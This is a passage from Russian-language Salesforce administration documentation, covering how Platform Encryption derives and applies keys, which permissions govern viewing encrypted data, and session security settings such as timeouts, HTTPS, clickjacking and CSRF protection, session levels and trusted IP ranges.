Важные сведения: Процесс шифрования платформы

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

При отправке данных сервер приложений выполняет поиск специального ключа
шифрования данных в кэше. Если ключ не найден, сервер приложений извлекает
зашифрованный секрет клиента из базы данных и запрашивает ключ на сервере
формирования ключа. Затем служба шифрования шифрует данные на сервере
приложений.

Система Salesforce поддерживает безопасное создание основного секрета и секрета
клиентапосредствомаппаратныхмодулейбезопасности. Уникальныйключизвлекается
путем использования PBKDF2 — функция формирования ключа (KDF) — с основным
секретом и секретом клиента в качестве входных данных.
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Поток процессашифрования платформы

1. 1. Когда пользователь Salesforce сохраняет зашифрованные данные, обработчик среды выполнения определяет по
метаданным, следует ли шифровать поле, файл или вложение перед сохранением в базе данных.

2. 2. Если да, служба шифрования проверяет совпадение ключа шифрования данных в кэшируемой памяти.

3. 3. Служба шифрования определяет наличие ключа.

a. При наличии ключа служба шифрования извлекает ключ.

b. Впротивномслучаеслужбаотправляет запросформированияключанасерверформированияключаивозвращает
его в службу шифрования, запущенную в App Cloud.

4. 4. После извлечения или формирования ключа служба шифрования генерирует случайный вектор инициализации
(IV) и зашифровывает данные с помощью алгоритма AES-256 JCE.

5. 5. Зашифрованный текст сохраняется в базе данных или хранилище fi. IV и соответствующий код секрета клиента,
используемые для формирования ключа шифрования данных, сохраняются в базе данных.

Система Salesforce генерирует новый основной секрет в начале каждого выпуска.

СМ. ТАКЖЕ:

Назад к родительской теме

905

Шифрование платформыНастройка и обслуживание организации Salesforce



Автоматическая проверка для шифрования платформы

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

При включениифункциишифрования система Salesforce автоматически проверяет
организациюнаналичиевозможныхпобочныхэффектовиотображаетсоответствующее
предупреждениеприобнаружениипараметров, которыемогут ставитьподугрозудоступ
к данным или препятствовать нормальной работе организации Salesforce. Например,
система блокирует операциюшифрования при попытке шифрования полей,
используемых правилами общего доступа на основе критериев.

Результатыпроверкиотправляютсяпоэл. почте (прииспользованиипользовательского
интерфейса) или отображаются в режиме реального времени (при использовании API).

Приотображениисообщенияобошибкеврезультатевключенияфункциишифрования
платформы воспользуйтесь информацией, указанной в данном разделе. Ниже
перечисленыфакторы, проверяемые службой проверки.

Ошибки

Предложенные решенияИспользуемые
компоненты

Поля не могут использоваться правилами общего доступа
на основе критериев.

Правилаобщегодоступа
на основе критериев

Зашифрованныеполянемогутиспользоватьсянекоторыми
компонентами запроса SOQL.

Запросы SOQL

Поляформулынемогут ссылатьсяна зашифрованныеполя.Поля формулы

Поля, используемые информационными таблицами, не
могут шифроваться, а зашифрованные поля не могут
использоваться информационными таблицами.

Информационные
таблицы

Пришифровании стандартных полей нельзя включить
устаревшие порталы в организации. Наличие включенных

Порталы

порталов в организации препятствует шифрованию
стандартных полей.

Активация Exchange Sync или Salesforce App for Oultook
препятствуетшифрованиюплатформы. Еслиактивирован

Модули электронной
почты

Salesforce for Outlook, шифрование платформы можно
включить, но при этом будет остановлена работа Salesforce
for Outlook. Включение шифрования платформы
препятствует активации всех трех модулей.

Прим.: Данные сведения относятся только к функциишифрования платформы и не относятся к функции
классического шифрования.

СМ. ТАКЖЕ:

Шифрование полей

Шифрование файлов и вложений

Назад к родительской теме
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Полномочия пользователя для шифрования платформы
Полномочия назначаются пользователям в соответствии с их ролями относительношифрования. Некоторым
пользователямпотребуетсяполномочие «Просмотрзашифрованныхданных». Некоторымпотребуютсядругиесочетания
полномочий в целях выделения данных для шифрования или работы с ключамишифрования.

Просмотр
настройки и
конфигурации

Настройка
приложения

Управление
ключами

шифрования

Просмотр
зашифрованных

данных

Просмотр данных в зашифрованных полях

Просмотр страницы настройкишифрования
платформы

Редактированиестраницынастройкишифрования
платформы, кромефункции управления ключами

Создание, уничтожение, экспорт и архивирование
секретов клиента

Запрос объекта TenantSecret через API

Полномочие «Просмотр зашифрованных данных»

Администратор решает, какие пользователи могут видеть нескрытые значения полей. Для этого предоставляется
полномочие «Просмотр зашифрованных данных» в профилях или наборах полномочий. Администраторам это
полномочие не назначается автоматически, и стандартные профили не содержат его по умолчанию.

Совет:

При наличии полномочия «Просмотр зашифрованных данных» и предоставлении другим пользователям полномочий
входа пользователь может просматривать зашифрованные значения в виде обычного текста. Во избежание раскрытия
конфиденциальных данных клонируйте свой профиль, удалите полномочие «Просмотр зашифрованных данных» из
вашегоклонированногопрофиляиназначьте себе клонированныйпрофиль. Затемпредоставьтедоступвхода в систему
другому пользователю.

При включениишифрования имеющиеся значения полей зашифровываются не сразу. Значения шифруются только
после того, как их укажет пользователь.

Зашифрованныефайлывидимывсемпользователям, имеющимдоступкэтимфайлам, независимоотналичияполномочия
«Просмотр зашифрованных данных».

Пользователи без полномочия «Просмотр зашифрованных данных» не могут выполнять следующие действия.

• Изменение обязательных зашифрованных полей поиска.

• Использование связанных списков публикатора Chatter.

• Использование функции «Копировать почтовый адрес в другой адрес» в контактах.

• Выберите, какое значениебудет сохранятьсяиздвухприслияниизаписейучетнойзаписи, еслишифруетсяодинаковое
значение в каждой из них. В данном сценарии Salesforce сохраняет значение из записи основной учетной записи.

• Создайте записи, требующие заполнения зашифрованного стандартного поля.
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Если у текущего пользователя отчета или панели мониторинга есть полномочие «Просмотр зашифрованных данных»,
то читатели диаграммы или панели мониторинга этого отчета, у которых нет полномочия «Просмотр зашифрованных
данных», все-таки смогут видеть зашифрованные данные.

Еслипользователибезполномочия «Просмотрзашифрованныхданных» клонируютзапись, содержащуюзашифрованные
поля (кроме полей поиска), то новая запись отображает значения зашифрованных полей как пустые.

Когдапользователь, укоторогонетполномочия «Просмотрзашифрованныхданных», клонируетзапись, взашифрованных
записях отображаются скрытые данные.

Пользователи без полномочия «Просмотр зашифрованных данных» все же могут выполнять некоторые операции с
зашифрованными полями.

• Изменение значения зашифрованного поля (если параметрам безопасности поля не назначается уровень доступа
«Только для чтения»).

• Просмотр зашифрованных полей в результатах поиска (даже если значения скрыты).

• Создание записей контактов и возможностей из действий Chatter, связанных списков на страницах сведений об
учетных данных и раздела «Быстрое создание».

Прим.: Данные сведения относятся только к функциишифрования платформы и не относятся к функции
классического шифрования.

СМ. ТАКЖЕ:

Профили

Наборы полномочий

Доступность данных шифрования платформы

Настройка шифрования платформы

Назад к родительской теме

Доступность данных шифрования платформы
Пользователям и администраторам предоставляется информация на основе сочетания факторов, описанных ниже.
Однако можно контролировать доступ к конфиденциальным данным.

Если пользователи работают в организации с включеннойфункциейшифрования платформы, важно, чтобы они
понимали различие между зашифрованными данными в дежурном режиме и маскировкой данных. Зашифрованные
данные в дежурном режиме — данные, зашифрованные во время хранения. Маскировка — скрытие видимых данных в
поле путем замены символов.

Пользователи могут просматривать некоторые данные в виде открытого текста вместо замаскированных, в зависимости
от полномочий или от того, находятся данные в файле или в поле. Для этого есть несколько причин.

• Полномочия. Пользователи, которым нужен доступ к определенным конфиденциальным данным, могут иметь
полномочие «Просмотр зашифрованных данных». Например, начальник отдела кадров может при необходимости
просматриватьконфиденциальныесведенияосотрудникевполе, тогдакакобычныйработникнеможетэтогоделать.
Несмотря на то что начальник отдела кадров может просматривать конфиденциальные данные, они остаются
зашифрованными в дежурном режиме.

• Зашифрованные файлы продолжают отображаться. Несмотря на шифровку, файлы продолжают отображаться
пользователям, которые имеют к ним доступ. В отличие от этого, для просмотра зашифрованных данных в полях
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пользователь должен иметь полномочие «Просмотр зашифрованных данных». Установите соответствующие
параметры общего доступа, если данные в файле должны оставаться скрытыми.

СМ. ТАКЖЕ:

Полномочия пользователя для шифрования платформы

Развертывание шифрования платформы

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

При развертываниишифрования платформы в организации, использующей такие
средства, как Force.com IDE, Migration Tool или Workbench, атрибут поля «Зашифровано»
остается. Однако, есливыполнятьразвертываниеворганизацияхс другимипараметрами
шифрования, результатзависитоттого, включенолишифрованиеплатформывцелевой
организации.

Можноизменитьнаборытакимобразом, чтобышифрованиеплатформыразвертывалось
в настраиваемые поля. Независимо от способа развертывания, Salesforce автоматически
проверяет, не нарушает ли шифрование платформы рекомендации.

Важное замечание: Настраиваемые поля в пакетах шифровать нельзя. При
использовании управляемых или неуправляемых пакетов во время развертывания
атрибут поля «Зашифровано» пропускается.

РезультатЦелевая организацияИсходная организация

Исходный атрибут поля
«Зашифровано» указывает
на включенное состояние

Шифрование платформы
включено

Шифрование платформы
включено

Атрибут поля
«Зашифровано»
пропускается

Шифрование платформы
выключено

Шифрование платформы
включено

Целевой атрибут поля
«Зашифровано» указывает
на включенное состояние

Шифрование платформы
включено

Шифрование платформы
выключено

Прим.: Данные сведения относятся только к функциишифрования платформы и не относятся к функции
классического шифрования.

СМ. ТАКЖЕ:

Назад к родительской теме
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Функционирование шифрования платформы в безопасной среде

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

Приобновлениибезопаснойсредыизпроизводственнойорганизациисоздается точная
копия производственной организации. Еслишифрование платформы в
производственнойорганизациивключено, то копируются всепараметрышифрования,
в том числе секреты клиентов, созданные в производственной организации.

После обновления безопасной среды изменения секрета клиента ограничены текущей
организацией. Это позволяет исключить влияние на производственную организацию
при повторе или уничтожении секрета клиента в безопасной среде.

Рекомендуемповторять секретыклиента вбезопасныхсредахпослеобновления. Повтор
гарантируетиспользованиеразныхсекретовклиентавпроизводственнойибезопасной
организациях. Уничтожение секретов клиента в безопасной среде инициирует
отображение зашифрованных данных непригодными для использования в случае
частичных или полных копий.

Прим.: Данные сведения относятся только к функциишифрования платформы
и не относятся к функции классического шифрования.

СМ. ТАКЖЕ:

Назад к родительской теме

В чем разница между классическим шифрованием и шифрованием платформы?

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition. Доступно
в версии Developer
бесплатно для организаций,
созданных летом 2015 года
и позже.

Доступно в Salesforce
Classic и Lightning
Experience.

Классическоешифрованиепомогает защититьособыйтиппользовательскихтекстовых
полей, которые создаются с этой целью. С помощьюшифрования платформы можно
шифровать различные, широко используемые стандартные поля, а также некоторые
пользовательскиеполяимножествотиповфайлов. Крометого, шифрованиеплатформы
поддерживает организации-лица, обращения, поиск, поток, процессы утверждения и
другие важнейшие функции Salesforce.

Шифрование
платформы

Классическое
шифрование

Функция

Взимается
дополнительная

плата

Включено в базовую
пользовательскую

лицензию

Ценообразование

Шифрование в дежурном режиме

Собственное решение (без
оборудования или программного
обеспечения)

Алгоритм AES
(расширенный

Алгоритм AES
(расширенный

Алгоритмшифрования

стандарт
шифрования), 256 бит

стандарт
шифрования), 128 бит

Формирование ключа на основе HSM
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Шифрование платформыКлассическоешифрованиеФункция

Полномочие «Управление ключамишифрования»

Создание, экспорт, импорт и уничтожение ключей

(только для полей)

Соответствие PCI-DSS L1

Специальный тип
настраиваемого поля длиной

не более 175 символов

Тип поля «Текст (зашифрованный)»

Режим маски

Типы и символы маски

Полномочие «Просмотр зашифрованных данных»,
необходимоедляпросмотразначенийзашифрованных
полей

Соблюдениеполномочия «Просмотрзашифрованных
данных» значениямишаблонов эл. почты

Зашифрованные стандартные поля

Зашифрованные вложения, файлы и содержимое

Зашифрованные настраиваемые поля

Шифрование текущих полей для поддерживаемых
типов настраиваемых полей

Поиск (пользовательскийинтерфейс, частичныйпоиск,
последовательный поиск, некоторые запросы SOSL)

API-доступ

Доступность в бизнес-правилах и обновлениях полей
бизнес-правил

Доступность в критериях входа для процесса
утверждения и критериях для этапа утверждения

СМ. ТАКЖЕ:

Назад к родительской теме

Безопасность сеанса
Сеансначинаетсяпослевходапользователянаплатформу. Рекомендуемиспользоватьбезопасностьсеансадляограничения
доступа к сети на компьютере, оставленном зарегистрированным пользователем без присмотра. Кроме того, данный
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алгоритм позволяет сократить количество внутренних атак (например, при попытке использования сеанса другого
сотрудника).

При необходимости определите продолжительность сеанса для входов пользователей. Продолжительность сеанса
позволяет задавать лимит времени для сеансов пользователей. По умолчанию сеанс автоматически завершается через
два часа простоя. По истечении лимита времени сеанса отображается диалоговое окно, позволяющее пользователям
выполнять выход или продолжать работу. В противном случае выход пользователей выполняется автоматически.

Прим.: Закрытие вкладки или окна обозревателя не инициирует автоматическое завершение сеанса Salesforce.
Сообщитепользователямоданнойособенностиинеобходимостизавершениявсехсеансовпутемпоследовательного
выбора пунктовИмя пользователя > «Выход».

По умолчанию система Salesforce использует TLS и требует безопасные подключения (HTTPS) для всех взаимодействий.
Параметр «Требовать безопасные подключения (HTTPS)» определяет необходимость использования TLS (HTTPS) для
доступа к системе Salesforce, кроме сайтов Force.com, которые могут быть доступны посредством HTTP.При отключении
данного параметра и изменении протокола URL-адреса (со значения https:// на значение http://) компанией
Salesforce приложение остается доступным пользователю. Тем не менее, TLS должен использоваться всеми сеансами для
дополнительной безопасности. См. раздел «Изменение параметров безопасности сеанса» на странице 913.

Доступ к определенным типам ресурсов может быть ограничен на основе уровня безопасности, связанного с методом
проверкиподлинности (входа) для текущего сеансапользователя. Поумолчаниюкаждомуметоду входаназначаетсяодин
издвухуровнейбезопасности: «Стандартный» или «Высоконадежный». Принеобходимостиизменитеуровеньбезопасности
сеанса и определите политики, позволяющие получать доступ к выбранным ресурсам только при наличии уровня
«Высоконадежный».Дополнительнуюинформациюсм. вподразделе «Безопасностьна уровне сеансов»на странице917.

СМ. ТАКЖЕ:

Настройка диапазонов надежных IP-адресов для организации

Журнал проверки подлинности
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Изменение параметров безопасности сеанса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Параметр «Закрепить
сеансы за IP-адресом,
с которого они
инициированы» доступен
в версиях: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition и
Database.com Edition.

Все остальные параметры
доступны в версиях:
Personal Edition, Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
безопасности сеанса:
• «Настройка

приложения»

Параметрыбезопасностисеансапозволяютизменятьтипподключения, времяистечения
сеанса и многое другое.

1. Вразделе «Настройка» введите «Параметры сеанса» в поле «Быстрый поиск», затем
выберите «Параметры сеанса».

2. Настройте параметры безопасности сеанса.

ОписаниеПоле

Время, по истечении которого выполняется
автоматический выход неактивных
пользователей. Время ожидания для
пользователейпортала составляетот 10 минут до
12 часов, номинимальноезначениеданногополя
равно 15 минутам. Выберитезначениеот 15 минут
до 12 часов. Чтобы повысить безопасность
конфиденциальных данных, используемых в
организации, выберитеминимальныйвременной
промежуток.

Значение времени ожидания

Прим.: Обновлениепоследнегозначения
времени активного сеанса выполняется
только по истечении половины времени
ожидания. Таким образом, если время
ожидания составляет 30 минут, то
активность пользователя проверяется
системой только по истечении 15 минут.
Например, если запись обновляется через
10 минут, то последнее значение времени
активного сеанса не изменяется, так как
действие было выполнено в течение
первых 15 минут. Пользователь
автоматически выходит из системы через
20 минут (всего 30 минут), так какпоследнее
значение времени активного сеанса не
изменялось. Еслизаписьобновляетсячерез
20 минут, то есть через 5 минут после
проверки последнего времени активного
сеанса, то времяожидания устанавливается
повторно и автоматический выход
переносится еще на 30 минут (всего
50 минут).

Данный параметр определяет необходимость
отображения неактивным пользователям

Отключить всплывающее
предупреждение о завершении
сеанса предупреждения о завершении сеанса. В

соответствии с полем «Значение времени
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ОписаниеПоле

ожидания», предупреждениеотображаетсяза 30 секунддозавершения
сеанса.

Данный параметр завершает текущие сеансы по истечении времени
ожиданиясеансовдлянеактивныхпользователей. Послеобновления

Инициировать выход по времени ожидания
сеанса

обозреватель отображает страницу входа. При завершении сеанса
пользователь должен выполнить повторный вход в организацию.

Прим.: Прежде чем включить данный параметр, снимите
флажок «Отключить всплывающее предупреждение о
завершении сеанса».

Данный параметр определяет необходимость закрепления сеансов
за IP-адресомвходаипозволяетпредотвратитьнесанкционированный
доступ к системе.

Закрепить сеансы за IP-адресом, с
которого они инициированы

Прим.: Данныйпараметрможетпрепятствоватьработеразных
приложений и мобильных устройств.

Данный параметр связывает текущий сеанс пользовательского
интерфейса для пользователя (например, пользователь сообщества)

Закрепить сеансы за доменом, выбранным
для их первого использования

с конкретным доменом во избежание несанкционированного
использования кода сеанса в другом домене. Данный параметр
включен по умолчанию для организаций, созданных в выпуске
Spring'15 или более поздних выпусках.

Данный параметр определяет необходимость использования HTTPS
для входа или доступа к системе Salesforce, кроме сайтов Force.com,
которые доступны посредством HTTP.

Из соображений безопасности данный параметр включен по
умолчанию.

Требовать безопасные подключения
(HTTPS)

Прим.: Страница «Сброс паролей пользователей» доступна
только посредством HTTPS.

Данный параметр определяет необходимость возврата
администратора, выполнившеговходотименидругогопользователя,
к собственному сеансу после выхода в качестве этого пользователя.

Если данный параметр включен, администратору, после выхода из
системы в качестве другого пользователя, следует выполнить вход,

Выполнить повторный вход после входа
от имени пользователя

чтобы продолжить использование системы Salesforce. Иначе, после
выхода из системы в качестве другого пользователя, администратор
будет возвращен к исходному сеансу.Данный параметр включен по
умолчаниюдля новых организаций, активированныхпосле выпуска
Summer'14.

914

Безопасность сеансаНастройка и обслуживание организации Salesforce
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Данный параметр ограничивает доступ к файлам cookie кода сеанса.
Файл cookie с атрибутом HttpOnly доступен только посредством
методов HTTP.

Требовать атрибут HttpOnly

Прим.: Применение параметра «Требовать атрибут
HttpOnly» нарушает работу настраиваемого или пакетного
приложения, использующего JavaScript для доступа к файлам
cookie. Этотпараметрблокирует доступприложениякфайлам
cookie. Если флажок «Требовать атрибут HttpOnly»

установлен, то окно отладки AJAX Toolkit недоступно.

Данный параметр позволяет организации отправлять сведения о
сеансе посредством запроса POST (вместо запроса GET) для

Использовать запросы POST для
междоменных сеансов

междоменных обменов. Например, междоменный обмен с
использованием страницы Visualforce пользователем. В отличие от
запросов GET, запросы POST являются более безопасными ввиду
хранения сведений о сеансе в тексте запроса. Тем не менее, при
включении данного параметра внедренное содержимое из другого
домена (см. пример ниже)

<img src="https://acme.force.com/pic.jpg"/>

иногда не отображается.

Данный параметр ограничивает IP-адреса, которые могут
использоваться для доступа к системе Salesforce, только IP-адресами,

Применять диапазоны IP-адресов входа
при каждом запросе

заданными в разделе «Диапазоны IP-адресов входа». При включении
данного параметра диапазоны IP-адресов входа применяются к
каждому запросу страницы, включая запросы от клиентских
приложений. Если этот параметр отключен, IP-диапазоны для входа
применяются только при входе пользователя. Этот параметр
отражается на всех профилях пользователя с ограничениями входа
по IP.

Данный параметр разрешает обозревателю сохранять имена
пользователей. При наличии данного флажка поле «Имя

Включить кэширование и автозаполнение
для страницы входа

пользователя» на странице входа заполняется автоматически после
первоговхода. Данныйфлажокустановленпоумолчанию, афункции
кэширования и автозаполнения включены.

Данный параметр позволяет безопасное кэширование данных в
веб-обозревателе для повышения производительности при

Включить безопасное, постоянное
кэширование в веб-обозревателе, чтобы
повысить производительность перезагрузке страниц путем исключения дополнительных полных

обходов сервера. Данныйпараметр включенпо умолчаниюдля всех
организаций.Отключение данного параметра не рекомендуется, но
его можно отключить, если политики компании не допускают
кэширование в веб-обозревателе даже пришифровании данных.

Данный параметр разрешает пользователям получать разовые
PIN-коды посредством SMS. Прежде чем воспользоваться данной

Включить метод подтверждения
подлинности посредством SMS
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функцией, рекомендуем администратору или пользователю
проверитьуказанныйномермобильноготелефона. Данныйпараметр
включен по умолчанию для всех организаций.

Данный параметр требует использования маркеров безопасности
для входов посредством API из выносок в API 31.0 или более ранней

Требовать маркеры безопасности для входов
посредством API из выносок (API 31.0

или более ранней версии) версии. Например, выноски Apex или выноски посредством
прокси-сервера AJAX. API 32.0 или более поздней версии требует
наличия маркеров безопасности по умолчанию.

Данный параметр определяет диапазон IP-адресов входа.

Чтобызадатьдиапазон, нажмитекнопку«Создать», а затемзаполните
поля «Начальный IP-адрес» и «Конечный IP-адрес», предназначенные
для ввода крайних значений.

Диапазоны IP-адресов входа  (для версий
Contact Manager Edition, Group Edition и
Professional Edition)

Данное поле недоступно в версиях Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition. Данные версии позволяют
задавать действительный диапазон IP-адресов входа в параметрах
профиля пользователя.

Данный параметр защищает страницы Salesforce, связанные с
настройкой, от кликджекинга. Кликджекинг — это вредоносная атака

Включить защиту от кликджекинга для
страниц настройки

пользовательского интерфейса. (Страницы настройки доступны из
меню «Настройка».)

Данный параметр защищает страницы Salesforce, не связанные с
настройкой, от кликджекинга. Кликджекинг — это вредоносная атака

Включить защиту от кликджекинга для
страниц Salesforce, не связанных с
настройкой пользовательского интерфейса. Страницы настройки уже содержат

защиту от кликджекинга. (Страницы настройки доступны из меню
«Настройка».) Данный параметр включен по умолчанию для всех
организаций.

Данный параметр защищает страницы Visualforce с включенными
заголовкамиот кликджекинга. Кликджекинг — это вредоносная атака
пользовательского интерфейса.

Включить защиту от кликджекинга для
страниц Visualforce клиента (со
стандартными заголовками)

Внимание: При использовании настраиваемых страниц
Visualforce внутриэлемента frame или iframe можетотображаться
пустая страницаилистраницабезрамки. Например, страницы
Visualforce не функционируют в макете страницы при
включенной защите от кликджекинга.

Данный параметр защищает страницы Visualforce с выключенными
заголовкамиоткликджекингапринастройке showHeader="false"

Включить защиту от кликджекинга для
страниц Visualforce клиента (с
выключенными заголовками) на странице. Кликджекинг — это вредоносная атака

пользовательского интерфейса.

Внимание: При использовании настраиваемых страниц
Visualforce внутриэлемента frame или iframe можетотображаться
пустая страницаилистраницабезрамки. Например, страницы
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Visualforce не функционируют в макете страницы при
включенной защите от кликджекинга.

Данный параметр обеспечивает защиту страниц, не связанных с
настройкой, отатак CSRF (подделкамежсайтовыхзапросов). Страницы,

Включить защиту CSRF для запросов GET

на страницах, не связанных с настройкой
не связанные с настройкой, содержат случайную строку символов в

Включить защиту CSRF для запросов POST

на страницах, не связанных с настройкой
параметрах URL-адреса или в виде скрытого поля формы. При
выполнении каждого запроса GET и POST приложение проверяет
допустимость данной строки символов. Приложение выполняет
команду толькоприсоответствиинайденного значенияожидаемому
значению. Данный параметр включен по умолчанию для всех
организаций.

Данный параметр перенаправляет пользователей на конкретную
страницу после выхода из системы Salesforce (например, страница

URL-адрес выхода

поставщика проверки подлинности или настраиваемая фирменная
страница). Данный URL-адрес используется только при отсутствии
URL-адреса выхода в параметрах поставщика удостоверений, единой
регистрации SAML иливнешнегопоставщикапроверкиподлинности.
При отсутствии значения для параметра «URL-адрес выхода» по
умолчанию используется URL-адрес
https://login.salesforce.com  (еслифункция «Мойдомен»
выключена). В противном случае, по умолчанию используется
URL-адрес https://настраиваемый_домен.my.salesforce.com.

3. Нажмите кнопку «Сохранить».

Уровни безопасности сеанса
Доступ к определенным типам ресурсов может быть ограничен на основе уровня безопасности, связанного с методом
проверкиподлинности (входа) для текущего сеансапользователя. Поумолчаниюкаждомуметоду входаназначаетсяодин
издвухуровнейбезопасности: «Стандартный» или «Высоконадежный». Принеобходимостиизменитеуровеньбезопасности
сеанса и определите политики, позволяющие получать доступ к выбранным ресурсам только при наличии уровня
«Высоконадежный».

По умолчанию данным уровням безопасности назначаются разные методы проверки подлинности.

• Имя пользователя и пароль («Стандартный»)

• Делегированная проверка подлинности («Стандартный»)

• Активация устройств («Стандартная»)

• Двухфакторная проверка подлинности («Высоконадежный»)

• Поставщик проверки подлинности («Стандартный»)

• SAML («Стандартный»)
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Прим.: Уровень безопасности для сеанса SAML может быть также заданпосредством атрибута SessionLevel
утверждения SAML, отправленногопоставщикомудостоверений. Атрибутможетприниматьодноиздвухзначений:
STANDARD или HIGH_ASSURANCE.

Чтобы изменить уровень безопасности, связанный с методом входа, выполните указанные ниже действия.

1. Вразделе «Настройка» введите «Параметры сеанса» вполе «Быстрый поиск», затем выберите «Параметрысеанса».

2. Выберите метод входа в разделе «Уровни безопасности сеанса».

3. Для перевода метода в соответствующую категорию нажмите кнопку со стрелкой «Добавить» или «Удалить».

В настоящее время безопасность на уровне сеансов используется только отчетами и панелями мониторинга в Salesforce,
а также связанными приложениями. При необходимости задайте политики «Требуется высоконадежный сеанс» для
данных типов ресурсов. Также можно указать действие, которое должно выполняться при доступе к ресурсу в ходе
невысоконадежного сеанса. Ниже перечислены поддерживаемые действия.

• «Блокировать»: данноедействиеблокируетдоступкресурсупутемотображениясообщенияоботсутствиинеобходимых
полномочий.

• Повышение уровня сеанса. При этом пользователю предлагается пройти двухфакторную проверку подлинности.
После успешнойпроверкиподлинностипользовательможетполучитьдоступкресурсу. Прииспользованииотчетов
ипанелеймониторингаданноедействиеможетприменятьсяприпросмотреотчетовилипанелеймониторинга, либо
при их экспорте и печати.

Внимание: Подъем уровня сеанса до высоконадежного путем перенаправления пользователя для завершения
двухфакторной проверки подлинности не поддерживается в версии Lightning Experience. Если ваша организация
использует версию Lightning Experience и вы устанавливаете политику, для реализации которой необходим
высоконадежныйсеанспридоступе котчетамипанеляммониторинга, дляпользователей Lightning Experienceотчеты
и панели мониторинга блокируются. Также они не увидят значки этих ресурсов в меню навигации. В качестве
обходного пути пользователи, использующие стандартный сеанс, могут выйти и снова войти, используя метод
проверки подлинности, определенный в качестве высоконадежного в своей организации. У них будет доступ к
отчетам и панелям мониторинга. Либо они могут переключиться в Salesforce Classic, где им предложат повысить
уровень сеанса при попытке доступа к отчетам и панелям мониторинга.

Чтобызадатьполитику «Требуется высоконадежныйсеанс» длядоступа к связанномуприложению, выполните указанные
ниже действия.

1. Введите строку «Связанные приложения» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Связанные
приложения».

2. Щелкните ссылку «Правка» напротив нужного связанного приложения.

3. Установите флажок «Требуется высоконадежный сеанс».

4. Выберите одно из представленных действий.

5. Нажмите кнопку «Сохранить».

Чтобы задать политику «Требуется высоконадежный сеанс» для доступа к отчетам и панелям мониторинга, выполните
указанные ниже действия.

1. Вразделе «Настройка» введите «Политики доступа» в поле «Быстрый поиск», затем выберите «Политикидоступа».

2. Установите флажок «Требуется высоконадежный сеанс».

3. Выберите одно из представленных действий.

4. Нажмите кнопку «Сохранить».
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Уровни безопасности сеанса не влияют на ресурсы приложения, кроме связанных приложений, отчетов и панелей
мониторинга, которые подчиняются явно заданным политикам безопасности.

СМ. ТАКЖЕ:

Безопасность сеанса

Поиск настроек

Журнал проверки подлинности

Настройка диапазонов надежных IP-адресов для организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра доступа к
сети:
• «Запрос входа включен»

Для изменения доступа к
сети:
• «Управление

IP-адресами»

Диапазоны надежных IP-адресов определяют список IP-адресов, которые могут
использоваться для входа без дополнительной проверки подлинности пользователя
(например, отправка кода на мобильный телефон).

Чтобы защитить данныеорганизацииотнесанкционированногодоступа, рекомендуем
составить список IP-адресов, предоставляющихвсемпользователямбеспрепятственный
доступ к данным. Тем не менее, данный метод не позволяет полностью ограничить
доступ для пользователей вне диапазона надежных IP-адресов. Они могут выполнять
вход после прохождения проверки подлинности (как правило, путем ввода кода,
отправленного на мобильное устройство или адрес эл. почты).

1. Введите «Доступ к сети» в поле «Быстрый поиск» в меню «Настройка», затем
выберите «Доступ к сети».

2. Нажмите кнопку «Создать».

3. Введите действительные IP-адреса в поля «Начальный IP-адрес» и «Конечный
IP-адрес».

Начальный и конечный адреса определяют диапазон разрешенных IP-адресов,
которыемогутиспользоватьсядлявхода, включаякрайниезначения. Чтобыразрешить
входы с отдельного IP-адреса, заполните оба поля одним адресом.

Между начальным и конечным IP-адресами диапазона IPv4 должно быть не более
33 554 432 адресов (225, CIDR-блок /7).

4. При необходимости введите описание диапазона. Например, при использовании нескольких диапазонов введите
сведения об области сети, соответствующей данному диапазону.

5. Нажмите кнопку «Сохранить».

Прим.: Списокнадежных IP-адресовдляорганизаций, активированныхдодекабря 2007 года, составляется системой
Salesforce автоматически. IP-адреса, использованные проверенными пользователями для входа в систему Salesforce в
течение последних шести месяцев, также добавлены в данный список.

СМ. ТАКЖЕ:

Безопасность сеанса

Настройка ограничений входа
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Сеансы пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Чтобы отслеживать и защищать организацию Salesforce, просматривайте активные
сеансы и сведения о сеансах на странице «Сведения о сеансе пользователя». Данная
страницапозволяет создаватьнастраиваемыесписковыепредставления, просматривать
сведения о пользователе, связанном с конкретным сеансом, и быстро завершать
подозрительные сеансы. Администраторы Salesforce могут просматривать все сеансы
пользователей для организации. Обычные пользователи могут просматривать только
свои собственные сеансы.

Призавершениисеансавручнуюпутемнажатиякнопки«Удалить»пользовательдолжен
выполнить повторный вход в организацию.

Таблицанижеописываетполя, доступныенаданнойстранице. Ввидуособенностейгеолокационнойтехнологии, точность
полей геолокации (например, страна, город, почтовый индекс) может изменяться.

ОписаниеПоле

Город фактического местонахождения IP-адреса пользователя. Данное значение не
локализуется.

Город

Страна фактического местонахождения IP-адреса пользователя. Данное значение не
локализуется.

Страна

Код ISO 3166 для страныфактического местонахождения IP-адреса пользователя. Данное
значение не локализуется. Дополнительную информацию см. на странице «Коды
стран — ISO 3166».

Код страны

Дата и время начала сеанса.Создано

Широта фактического местонахождения IP-адреса пользователя.Широта

